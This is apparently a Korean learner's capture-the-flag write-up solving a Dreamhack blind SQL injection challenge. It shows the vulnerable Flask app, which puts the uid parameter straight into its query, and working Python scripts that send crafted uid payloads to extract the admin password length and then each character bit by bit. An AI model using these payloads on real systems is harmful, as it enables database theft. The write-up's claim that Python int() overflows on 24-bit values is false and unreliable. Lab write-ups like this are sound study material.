웹사이트를 보자
uid 파라미터에 값을 넣으면 그값을 그대로 출력해주는거같다
이걸로는 어떻게푸는건지 잘모르겠다 코드를 살펴보자
import os
from flask import Flask, request, render_template_string
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'user_db')
mysql = MySQL(app)
template ='''
<pre style="font-size:200%">SELECT * FROM users WHERE uid='{{uid}}';</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
{% if nrows == 1%}
<pre style="font-size:150%">user "{{uid}}" exists.</pre>
{% endif %}
'''
@app.route('/', methods=['GET'])
def index():
uid = request.args.get('uid', '')
nrows = 0
if uid:
cur = mysql.connection.cursor()
nrows = cur.execute(f"SELECT * FROM users WHERE uid='{uid}';")
return render_template_string(template, uid=uid, nrows=nrows)
if __name__ == '__main__':
app.run(host='0.0.0.0')
CREATE DATABASE user_db CHARACTER SET utf8;
GRANT ALL PRIVILEGES ON user_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `user_db`;
CREATE TABLE users (
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null
);
INSERT INTO users (uid, upw) values ('admin', 'DH{**FLAG**}');
INSERT INTO users (uid, upw) values ('guest', 'guest');
INSERT INTO users (uid, upw) values ('test', 'test');
FLUSH PRIVILEGES;
이 코드에서 admin의 upw을 찾으면 FLAG가 나온다는걸 알수있다
이 코드는 uid파라미터에 입력한값을 그대로 대입해 쿼리를 실행한다는 의미인거같다.
취약해보이는 코드이다
이 코드는 쿼리를 실행했을때 값이 하나만 반환되면 화면에 user “{{uid}}” exists.를 보여준다는 뜻같다
파라미터에 guest를 넣어서 확인해보자
잘 출력된다
잘못된값을 넣어보자
아무것도출력이안된다
이걸 이용하면 blind sql injection을 이용하여 admin의 upw을 찾을수있다
blind sql injection sql문은 입력하면 바로 결과값을 확인할수있는 sql injection과 달리 서버의 응답이 다른것을 통해 데이터를 추출하는 기법이다
and연산자를 이용하여 admin의 upw을 찾아보자
admin의 upw을 어떻게 찾을것인지 구상해보자
일단은 upw의 길이를 모르므로 길이를 찾을것이다
- upw의 길이찾기
그리고 FLAG의 값은 문제설명에서 아스키코드와 한글의 구성이라고 한다
한글의 조합은 경우의수가 1만1172개라고한다 부르트포스를 활용하여 한글자한글자씩넣어 확인하기에는 너무비효율적이다 그래가지고 upw각자리에 비트의 갯수를 찾을것이다 그 이후 비트의 값을
찾을것이다
2.upw각자리의 비트의 길이찾기
3.upw각자리의 비트의 값찾기
그리고 각자리의 비트의값을 유니코드로 변환하면된다
4.upw각자리의 비트의값을 유니코드로 변환하기
*유니코드: 유니코드(Unicode)는 전 세계의 모든 문자를 다루도록 설계된 표준 문자 전산 처리 방식이다.
1.upw의 길이찾기
import requests
host='<http://host3.dreamhack.games:23218>' #주소
upw_length=0
while True:
upw_length+=1
uidparam = f"admin' and char_length(upw)={upw_length};--"
r = requests.get(f'{host}/?uid={uidparam}')
if "exists." in r.text :
break
print(upw_length)
길이는 13이나왔다
2.upw각자리의 비트의 길이찾기
3.upw각자리의 비트의 값찾기
import requests
host='<http://host3.dreamhack.games:22420>' #주소
bit_length=0
for i in range(1,14):
bit_length=0
while True:
bit_length+=1
uidparam = f"admin' and length(bin(ord(substr(upw,{i},1))))={bit_length}-- "
r = requests.get(f"{host}/?uid={uidparam}")
if "exists." in r.text :
break
bit_result=""
for j in range(1,bit_length+1):
uidparam = f"admin' and substr(bin(ord(substr(upw,{i},1))),{j},1)=0-- "
r = requests.get(f"{host}/?uid={uidparam}")
if "exists." in r.text :
bit_result+="0"
else:
bit_result+="1"
print(f"{i}번째 비트값 : {bit_result}")
4.upw각자리의 비트의값을 유니코드로 변환하기
이진수를 유니코드로 바꾸는방법은 다음과같다
binary_str = '1100001' # 이진수 문자열
decimal_value = int(binary_str, 2) # 이진수를 10진수로 변환
unicode_char = chr(decimal_value) # 유니코드 문자로 변환
print("이진수:", binary_str)
print("유니코드 값:", decimal_value)
print("유니코드 문자:", unicode_char)
하지만 비트의 길이가 24개인걸 int값으로 변환하면 오버플로우가 발생하기때문에 오류가발생한다
*오버플로우:int형 최대값인 2,147,483,647을 넘는값이 들어갈때 이상한값이 출력되는현상
찾아보니깐 다른코드로 유니코드문자로 변환하는방법이있던데 내 머리로는 도저히 이해가안되가지고 upw길이가 13개이니깐 이진수를 유니코드로 변환해주는 사이트로 들어가서 변환하자
사이트주소:https://magictool.ai/tool/binary-to-text/ko/
FLAG=DH{이것이비밀번호!?} FLAG를 구했다